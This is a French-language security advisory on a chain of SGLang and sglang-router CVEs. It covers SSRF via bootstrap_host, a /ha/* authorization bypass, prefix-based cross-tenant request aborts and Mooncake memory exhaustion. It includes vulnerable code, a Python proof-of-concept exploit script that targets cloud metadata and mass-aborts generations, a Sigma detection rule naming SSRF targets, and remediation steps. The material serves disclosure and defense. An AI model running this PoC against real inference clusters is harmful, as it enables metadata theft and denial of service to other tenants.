Aller au contenu

CVE-2026-112267 : SSRF via bootstrap_host sur les workers de décodage SGLang, contournement d'autorisation mesh HA de sglang-router et épuisement mémoire mooncake

Densité :
Synthèse Décisionnelle C-Level CVE-2026-112267 CRITICAL SCORE 94/100

Chaîne critique de cinq vulnérabilités dans SGLang jusqu'à la version 0.5.22 et sglang-router jusqu'à la version 0.3.2 (CVE-2026-112267, CVE-2026-112268, CVE-2026-112266, CVE-2026-112269, CVE-2026-112270). Dans les architectures d'inférence désagrégée Prefill-Decode (PD), les workers de décodage acceptent les paramètres bootstrap_host et bootstrap_port fournis par l'appelant sur /generate sans validation, permettant des attaques SSRF synchrones et le blocage des threads d'inférence (CVE-2026-112267). Parallèlement, les routes d'administration Mesh HA (/ha/*) de sglang-router omettent la vérification du rôle Admin face à une simple clé API du plan de données (CVE-2026-112268), Scheduler.abort_request interrompt les requêtes d'autres locataires via une correspondance par préfixe req.rid.startswith() (CVE-2026-112266), et le moteur Mooncake ZMQ permet un épuisement mémoire fatal (OOM) via des enregistrements non authentifiés et le paramètre chunk_idx de STAGING_RSP (CVE-2026-112269 / CVE-2026-112270).

HYBRID

SCORE DE MENACE HERMES & ÉVALUATION DES CLUSTERS D'INFÉRENCE DÉSAGRÉGÉE

Cible : Coordinateur Prefill-Decode SGLang, moteur de transfert Mooncake & plan Mesh HA sglang-router (python/sglang/srt/disaggregation/mooncake/conn.py & sgl-router)
Confiance : 99%
94 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 17 / 20
Militarisation 20 / 20
Exposition 18 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Alors que les scores CVSS individuels évaluent chaque primitive séparément (CVE-2026-112267 à 8.6–9.1 pour le SSRF sur le worker de décodage, CVE-2026-112268 à 6.5 pour le contournement d'autorisation sur /ha/*, CVE-2026-112266 à 8.2 pour l'annulation par préfixe rid, et CVE-2026-112269 / CVE-2026-112270 à 7.5–8.2 pour l'épuisement mémoire Mooncake ZMQ), le Hermes Threat Score évalue cette chaîne de compromission à 94 (CRITICAL) avec un Hermes Agentic Security Score (HASS) de 96 (EXTREME). Dans les clusters GPU multi-nœuds exécutant des agents LLM autonomes en mode désagrégé Prefill-Decode (PD), un attaquant disposant d'un simple jeton d'inférence peut interroger ou manipuler les routes /ha/* de sglang-router (CVE-2026-112268), contraindre les workers de décodage à émettre des requêtes SSRF vers les métadonnées cloud (169.254.169.254) via bootstrap_host (CVE-2026-112267), interrompre massivement les raisonnements d'agents concurrents avec un préfixe rid d'un seul caractère (CVE-2026-112266), et provoquer le crash OOM des ordonnanceurs GPU Prefill via un indice chunk_idx surdimensionné dans les trames Mooncake STAGING_RSP (CVE-2026-112270).

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-112267: SGLang Disaggregated Decode Worker bootstrap_host SSRF, sglang-router Mesh HA Auth Bypass & Mooncake KV-Cache Exhaustion ChainVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTMooncake Distributed KVCache Store
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Mooncake Distributed KVCache Store documented in Hermes dossier.”

Preuves vérifiées associées :

Les 19 et 20 octobre 2026, VulnCheck Initial Access Intelligence et les chercheurs en sécurité de l’écosystème SGLang ont divulgué une chaîne critique de cinq vulnérabilités frappant SGLang (sgl-project/sglang, versions jusqu’à 0.5.22 incluse) et sglang-router / sgl-model-gateway (versions jusqu’à 0.3.2 incluse) :

  1. CVE-2026-112267 (CWE-918, SSRF via bootstrap_host et bootstrap_port sur le worker de décodage) : dans l’architecture de désagrégation Prefill-Decode (PD) de SGLang (ticket GitHub #45008), les workers de décodage exposent directement les paramètres bootstrap_host, bootstrap_port et bootstrap_room dans le schéma HTTP GenerateReqInput (/generate et /v1/chat/completions). Lorsqu’un appelant soumet une adresse arbitraire dans bootstrap_host et bootstrap_port, le worker de décodage initie des connexions HTTP/ZMQ synchrones vers cette cible sans vérifier qu’elle appartient à un nœud Prefill légitime — permettant une falsification de requête côté serveur (SSRF) vers le plan de contrôle interne ou les métadonnées cloud (169.254.169.254) ainsi que le blocage des boucles de traitement partagées.
  2. CVE-2026-112268 (CWE-863, contournement d’autorisation sur les routes Mesh HA /ha/* de sglang-router) : dans sglang-router (<= 0.3.2), les routes de gestion de haute disponibilité sous /ha/* n’appliquent pas le contrôle de rôle Admin du plan de contrôle. Tout client muni d’une simple clé API du plan de données peut inspecter la topologie interne des workers ou altérer l’état du maillage HA.
  3. CVE-2026-112266 (CWE-400 / CWE-697, annulation inter-requêtes via correspondance de préfixe rid) : dans python/sglang/srt/managers/scheduler.py (Scheduler.abort_request), SGLang identifie les requêtes à annuler via req.rid.startswith(recv_req.rid) au lieu d’une égalité stricte. Un client appelant /abort_request avec un préfixe rid d’un seul caractère (ex. "a", "0" ou "") interrompt de force (finish_reason: "abort") toutes les générations en cours ou en file d’attente des autres locataires dont l’identifiant commence par ce caractère.
  4. CVE-2026-112269 et CVE-2026-112270 (CWE-770, épuisement mémoire via l’enregistrement mooncake ZMQ et le paramètre chunk_idx de STAGING_RSP) : lorsque la désagrégation PD utilise le moteur de transfert Mooncake (python/sglang/srt/disaggregation/mooncake/conn.py), les nœuds Prefill acceptent des messages d’enregistrement de décodage non authentifiés sur leurs sockets ZMQ PULL (CVE-2026-112269), tandis que la fonction handle_staging_rsp() ne borne pas l’entier chunk_idx des messages STAGING_RSP (CVE-2026-112270). L’envoi d’une valeur chunk_idx colossale sous de nouveaux identifiants de session provoque une allocation mémoire sans limite jusqu’à la destruction du processus d’ordonnancement GPU par l’OOM killer du noyau Linux.

Mécanique technique et analyse forensique des 5 défaillances

Section intitulée « Mécanique technique et analyse forensique des 5 défaillances »

1. CVE-2026-112267 : SSRF et blocage synchrone via bootstrap_host et bootstrap_port (#45008)

Section intitulée « 1. CVE-2026-112267 : SSRF et blocage synchrone via bootstrap_host et bootstrap_port (#45008) »

Dans l’architecture de désagrégation Prefill-Decode (PD) de SGLang, la phase de pré-remplissage (Prefill, intensive en calcul matriciel) et la phase de décodage token par token (Decode, limitée par la bande passante mémoire HBM) sont réparties sur des pools de nœuds GPU distincts. Pour coordonner le transfert direct du cache clé-valeur (KV) sur RDMA/NIXL/Mooncake sans faire transiter les tenseurs par un proxy central, la structure GenerateReqInput (python/sglang/srt/managers/io_struct.py) expose trois champs de coordination :

  • bootstrap_host : adresse IP ou nom d’hôte du serveur de coordination bootstrap du worker Prefill.
  • bootstrap_port : port TCP du serveur bootstrap Prefill.
  • bootstrap_room : identifiant entier 64 bits unique du canal de transfert pour la requête.

Dans SGLang <= 0.5.22, lorsqu’un worker de décodage reçoit une requête /generate contenant bootstrap_host et bootstrap_port, son gestionnaire de transfert (python/sglang/srt/disaggregation/decode.py et mooncake/conn.py / nixl/conn.py) se connecte immédiatement à http://{bootstrap_host}:{bootstrap_port}/... afin d’enregistrer ses tampons mémoire de réception :

# CODE VULNÉRABLE : python/sglang/srt/managers/io_struct.py & disaggregation/mooncake/conn.py (<= 0.5.22)
@dataclass
class GenerateReqInput:
text: Optional[Union[List[str], str]] = None
# ...
# FAILLE (CWE-918) : champs exposés directement aux appelants HTTP non fiables sur /generate !
bootstrap_host: Optional[Union[List[str], str]] = None
bootstrap_port: Optional[Union[List[Optional[int]], int]] = None
bootstrap_room: Optional[Union[List[Optional[int]], int]] = None
# Lors de l'initialisation du transfert KV sur le worker de décodage :
def _connect_to_prefill_bootstrap(self, bootstrap_host: str, bootstrap_port: int, room: int):
# FAILLE : aucune vérification par liste blanche des adresses IP/ports des workers Prefill !
# Exécute une connexion sortante synchrone vers l'hôte et le port fournis par le client :
bootstrap_addr = f"http://{bootstrap_host}:{bootstrap_port}/bootstrap"
resp = requests.post(bootstrap_addr, json={"room": room, "decode_rank": self.rank}, timeout=5.0)

Faute de validation de bootstrap_host et bootstrap_port par rapport à une liste stricte de nœuds Prefill autorisés, un attaquant peut :

  1. Déclencher un pivot SSRF : forcer le worker GPU de décodage à émettre des requêtes HTTP vers des services internes Kubernetes, des bases etcd ou Redis locales (127.0.0.1:2379, 127.0.0.1:6379) ou le service de métadonnées cloud (169.254.169.254).
  2. Paralyser la boucle d’ordonnancement decode : faire pointer bootstrap_host vers une adresse IP « tarpit » qui accepte la poignée de main TCP mais ne répond jamais en HTTP, bloquant les threads synchrones de préparation et affamant tous les lots d’inférence concurrents.

2. CVE-2026-112268 : contournement d’autorisation sur les routes mesh HA /ha/* de sglang-router

Section intitulée « 2. CVE-2026-112268 : contournement d’autorisation sur les routes mesh HA /ha/* de sglang-router »

Pour répartir le trafic devant les pools Prefill et Decode, les déploiements de production utilisent sglang-router (sgl-model-gateway). Jusqu’à la version 0.3.2, le routeur expose des points de terminaison de synchronisation de maillage haute disponibilité sous /ha/* (tels que /ha/status, /ha/workers, /ha/sync, /ha/config).

En raison d’un défaut de cloisonnement des middlewares d’autorisation (CWE-863), le groupe de routes /ha/* acceptait n’importe quel jeton valide du plan de données au lieu d’exiger le rôle Admin du plan de contrôle. Dès lors, tout client ou locataire possédant une clé API standard d’inférence peut interroger /ha/* pour cartographier les adresses IP et ports ZMQ/Mooncake internes des workers Prefill/Decode (fournissant les cibles exactes nécessaires à l’exploitation des CVE-2026-112267, CVE-2026-112269 et CVE-2026-112270) ou perturber la synchronisation du cluster HA.

3. CVE-2026-112266 : interruption inter-locataires via rid.startswith() dans l’ordonnanceur

Section intitulée « 3. CVE-2026-112266 : interruption inter-locataires via rid.startswith() dans l’ordonnanceur »

Dans python/sglang/srt/managers/scheduler.py (et tokenizer_manager.py), SGLang associe un identifiant de requête textuel (rid) à chaque tâche d’inférence. Comme l’échantillonnage parallèle (n > 1) génère des sous-requêtes en concaténant un suffixe au rid parent, la méthode Scheduler.abort_request() vérifiait si le rid de chaque requête active ou en attente commençait par la chaîne recv_req.rid :

# CODE VULNÉRABLE : python/sglang/srt/managers/scheduler.py (<= 0.5.22)
def abort_request(self, recv_req: AbortReq):
# Suppression des requêtes dans la file d'attente waiting_queue
to_del = []
for i, req in enumerate(self.waiting_queue):
# FAILLE (CWE-697 / CWE-400) : correspondance par préfixe non bornée sur recv_req.rid !
# Si recv_req.rid vaut "a" ou "", TOUTES les requêtes correspondantes sont annulées !
if req.rid.startswith(recv_req.rid):
to_del.append(i)
req.finished_reason = FINISH_ABORT()
# ...
# Interrompt également les requêtes en cours d'exécution GPU dans self.running_batch.reqs :
for req in self.running_batch.reqs:
if req.rid.startswith(recv_req.rid):
req.to_abort = True

Un attaquant envoyant POST /abort_request avec {"rid": "a"} (ou balayant les 16 caractères hexadécimaux 0 à f) provoque l’arrêt immédiat (finish_reason: "abort") de toutes les générations LLM et boucles d’agents en cours sur le serveur GPU appartenant aux autres utilisateurs.

4. CVE-2026-112269 et CVE-2026-112270 : épuisement mémoire (OOM) via mooncake ZMQ et STAGING_RSP chunk_idx

Section intitulée « 4. CVE-2026-112269 et CVE-2026-112270 : épuisement mémoire (OOM) via mooncake ZMQ et STAGING_RSP chunk_idx »

Lorsque SGLang (<= 0.5.22) est déployé en mode PD désagrégé avec --disaggregation-transfer-backend mooncake (python/sglang/srt/disaggregation/mooncake/conn.py), deux vulnérabilités critiques d’épuisement de ressources apparaissent :

  • CVE-2026-112269 (enregistrements Mooncake ZMQ non authentifiés) : le socket ZeroMQ (ZMQ_PULL) du nœud Prefill accepte sans authentification ni quota des messages d’enregistrement de décodage provenant du réseau. L’envoi massif de trames contenant des mooncake_session_id uniques et de volumineux descripteurs de tampons sature la mémoire hôte du nœud Prefill.
  • CVE-2026-112270 (allocation mémoire non bornée via chunk_idx dans STAGING_RSP) : après avoir obtenu les adresses des rangs internes (via /route ou /ha/*), un attaquant peut transmettre des trames STAGING_RSP forgées à la fonction handle_staging_rsp() en spécifiant une valeur entière chunk_idx gigantesque associée à de nouveaux identifiants de session (room). Faute de contrôle de borne supérieure sur chunk_idx, l’ordonnanceur tente d’allouer une structure mémoire proportionnelle à chunk_idx, déclenchant immédiatement le tueur OOM (Out-of-Memory) du système d’exploitation.
flowchart TD
Attacker["Attaquant distant / locataire muni d'une clé data-plane"]
subgraph Router["sglang-router / sgl-model-gateway (<= 0.3.2)"]
CVE268["CVE-2026-112268 (CWE-863)<br/>Routes d'administration Mesh HA /ha/*<br/>Absence de vérification du rôle Admin"]
end
subgraph SGLangCluster["Cluster d'inférence désagrégée SGLang (<= 0.5.22)"]
CVE266["CVE-2026-112266 (CWE-400)<br/>Scheduler.abort_request()<br/>Annulation massive inter-locataires via req.rid.startswith()"]
CVE267["CVE-2026-112267 (CWE-918)<br/>Worker de décodage /generate<br/>SSRF synchrone via bootstrap_host et bootstrap_port"]
CVE269["CVE-2026-112269 & CVE-2026-112270 (CWE-770)<br/>Socket ZMQ PULL Mooncake & handle_staging_rsp()<br/>Inondation de sessions & crash OOM via chunk_idx"]
end
subgraph Impact["Impact sur l'infrastructure IA multi-locataires"]
IMDS["Service de métadonnées cloud (IMDS) & plan de contrôle<br/>(169.254.169.254 / etcd / API Kubernetes)"]
DoS["Interruption globale des agents IA<br/>& crash OOM de l'ordonnanceur GPU"]
end
Attacker -- "1. Clé API data-plane standard" --> CVE268
CVE268 -- "Divulgue les adresses IP et ports internes Prefill/Decode" --> CVE267
CVE268 -- "Expose les coordonnées ZMQ /route" --> CVE269
Attacker -- "2. Préfixe rid d'un octet ('0'..'f')" --> CVE266
Attacker -- "3. Paramètre bootstrap_host forgé" --> CVE267
CVE267 --> IMDS
CVE266 --> DoS
CVE269 --> DoS
style CVE267 fill:#ff4d4d,stroke:#990000,color:#ffffff
style CVE268 fill:#ff6600,stroke:#993300,color:#ffffff
style CVE266 fill:#ff4d4d,stroke:#990000,color:#ffffff
style CVE269 fill:#ff1a1a,stroke:#800000,color:#ffffff

Chaîne d’exploitation de bout en bout et preuve de concept (PoC)

Section intitulée « Chaîne d’exploitation de bout en bout et preuve de concept (PoC) »

Le script Python suivant illustre comment un attaquant enchaîne la CVE-2026-112268 (reconnaissance sur le maillage du routeur), la CVE-2026-112267 (SSRF via bootstrap_host sur un worker de décodage) et la CVE-2026-112266 (interruption inter-locataires par balayage de préfixes rid) :

#!/usr/bin/env python3
"""
Preuve de concept : chaîne de compromission SGLang désagrégé & sglang-router
Couvre CVE-2026-112268 (contournement /ha/*), CVE-2026-112267 (SSRF bootstrap_host)
et CVE-2026-112266 (annulation massive par préfixe rid).
"""
import requests
ROUTER_URL = "http://sglang-router.internal:8000"
DECODE_WORKER_URL = "http://sglang-decode-0.internal:30000"
DATA_PLANE_API_KEY = "sk-user-standard-inference-key"
headers = {
"Authorization": f"Bearer {DATA_PLANE_API_KEY}",
"Content-Type": "application/json",
}
# Étape 1 (CVE-2026-112268) : interrogation de la route Mesh HA /ha/workers de sglang-router
# à l'aide d'une simple clé API du plan de données (non administrateur)
ha_resp = requests.get(f"{ROUTER_URL}/ha/workers", headers=headers, timeout=5)
print("[*] Statut CVE-2026-112268 /ha/workers :", ha_resp.status_code, ha_resp.text[:200])
# Étape 2 (CVE-2026-112267) : contrainte du worker de décodage à émettre une requête SSRF
# synchrone vers le service de métadonnées cloud via bootstrap_host et bootstrap_port
ssrf_payload = {
"text": "Bonjour",
"sampling_params": {"max_new_tokens": 4},
"bootstrap_host": "169.254.169.254",
"bootstrap_port": 80,
"bootstrap_room": 99412026,
}
ssrf_resp = requests.post(f"{DECODE_WORKER_URL}/generate", json=ssrf_payload, headers=headers, timeout=10)
print("[*] Réponse SSRF Decode CVE-2026-112267 :", ssrf_resp.status_code)
# Étape 3 (CVE-2026-112266) : annulation massive de toutes les générations concurrentes
# sur l'ordonnanceur GPU par balayage des 16 préfixes hexadécimaux sur /abort_request
for prefix in "0123456789abcdef":
requests.post(
f"{DECODE_WORKER_URL}/abort_request",
json={"rid": prefix},
headers=headers,
timeout=3,
)
print("[*] CVE-2026-112266 : balayage des 16 préfixes hexadécimaux terminé.")

Investigation forensique et ingénierie de détection

Section intitulée « Investigation forensique et ingénierie de détection »

Consultez également nos dossiers techniques sur la CVE-2026-111391 (évasion de sandbox eval() et RCE via le debug dumper SGLang) et la CVE-2026-111392 (empoisonnement du cache KV multimodal SGLang via mm_hashes) pour couvrir l’ensemble de la surface d’attaque SGLang.

title: Exploitation SSRF bootstrap_host, contournement Mesh HA sglang-router et annulation par préfixe rid (CVE-2026-112267 / CVE-2026-112268 / CVE-2026-112266)
id: 7c3e9a12-1122-467b-b901-sglang112267
status: experimental
description: Détecte l'exploitation de la CVE-2026-112267 (SSRF via bootstrap_host vers des adresses internes/IMDS sur /generate), de la CVE-2026-112268 (accès non autorisé aux routes /ha/* de sglang-router) et de la CVE-2026-112266 (appels /abort_request avec un préfixe rid court de 1 à 2 caractères).
references:
- https://vulncheck.com/advisories/sglang-through-0.5.22-ssrf-via-bootstrap-host-and-bootstrap-port-on-decode-worker
- https://vulncheck.com/advisories/sglang-router-through-0.3.2-authorization-bypass-via-mesh-ha-management-routes
- https://vulncheck.com/advisories/sglang-through-0.5.22-cross-request-abort-via-rid-prefix-matching
author: Hermes Threat Intelligence
date: 2026/10/20
logsource:
category: webserver
detection:
selection_decode_ssrf:
cs-method: 'POST'
cs-uri-stem|contains:
- '/generate'
- '/v1/chat/completions'
request_body|contains: 'bootstrap_host'
selection_ssrf_targets:
request_body|contains:
- '169.254.169.254'
- '127.0.0.1'
- 'localhost'
- 'metadata.google.internal'
- ':2379'
- ':6379'
selection_router_ha:
cs-uri-stem|startswith: '/ha/'
selection_short_rid_abort:
cs-method: 'POST'
cs-uri-stem|contains: '/abort_request'
request_body|re: '"rid"\s*:\s*"[a-zA-Z0-9_-]{0,2}"'
condition: (selection_decode_ssrf and selection_ssrf_targets) or selection_router_ha or selection_short_rid_abort
falsepositives:
- Sondes de synchronisation internes légitimes entre pairs sglang-router sur /ha/*
level: critical
tags:
- attack.initial_access
- attack.impact
- attack.t1190
- attack.t1499
- cve.2026-112267
- cve.2026-112268
- cve.2026-112266

Stratégie de remédiation et directives de durcissement

Section intitulée « Stratégie de remédiation et directives de durcissement »
  1. Mettre à jour SGLang vers la version >= 0.5.23 et sglang-router vers >= 0.3.3 : mettre à niveau l’ensemble des conteneurs Prefill/Decode SGLang au-delà de la version 0.5.22 ainsi que sglang-router (sgl-model-gateway) au-delà de 0.3.2 afin d’imposer la validation par liste blanche des hôtes bootstrap_host / bootstrap_port (CVE-2026-112267), la vérification du rôle Admin sur /ha/* (CVE-2026-112268), la correspondance exacte du rid dans Scheduler.abort_request() (CVE-2026-112266) et le bornage strict de chunk_idx dans Mooncake (CVE-2026-112269, CVE-2026-112270).
  2. Purger les champs bootstrap_* fournis par le client sur la passerelle API (CVE-2026-112267) : les clients externes ne doivent jamais communiquer directement avec les workers de décodage ni spécifier bootstrap_host, bootstrap_port ou bootstrap_room. Configurer la passerelle d’entrée pour supprimer systématiquement tout attribut bootstrap_* des requêtes JSON /generate et /v1/chat/completions provenant de l’extérieur.
  3. Verrouiller l’accès externe aux routes /ha/*, /route et /abort_request (CVE-2026-112266 / CVE-2026-112268) : interdire tout accès public aux chemins /ha/* et /route sur le proxy inverse (Envoy, Nginx ou Ingress Kubernetes) et imposer une longueur minimale stricte (>= 16 caractères au format UUIDv4) pour le paramètre rid sur /abort_request.
  4. Isoler les sockets ZMQ et RDMA mooncake via une NetworkPolicy Kubernetes (CVE-2026-112269 / CVE-2026-112270) : restreindre l’écoute des sockets ZMQ PULL/PUSH de Mooncake au réseau interne des pods et appliquer une politique réseau Kubernetes n’autorisant les flux vers les ports de coordination Prefill/Decode qu’à partir des pods labellisés sglang-prefill, sglang-decode et sglang-router, tout en bloquant le trafic sortant des pods de décodage vers 169.254.169.254/32.

Références croisées stratégiques et liens du graphe de connaissances

Section intitulée « Références croisées stratégiques et liens du graphe de connaissances »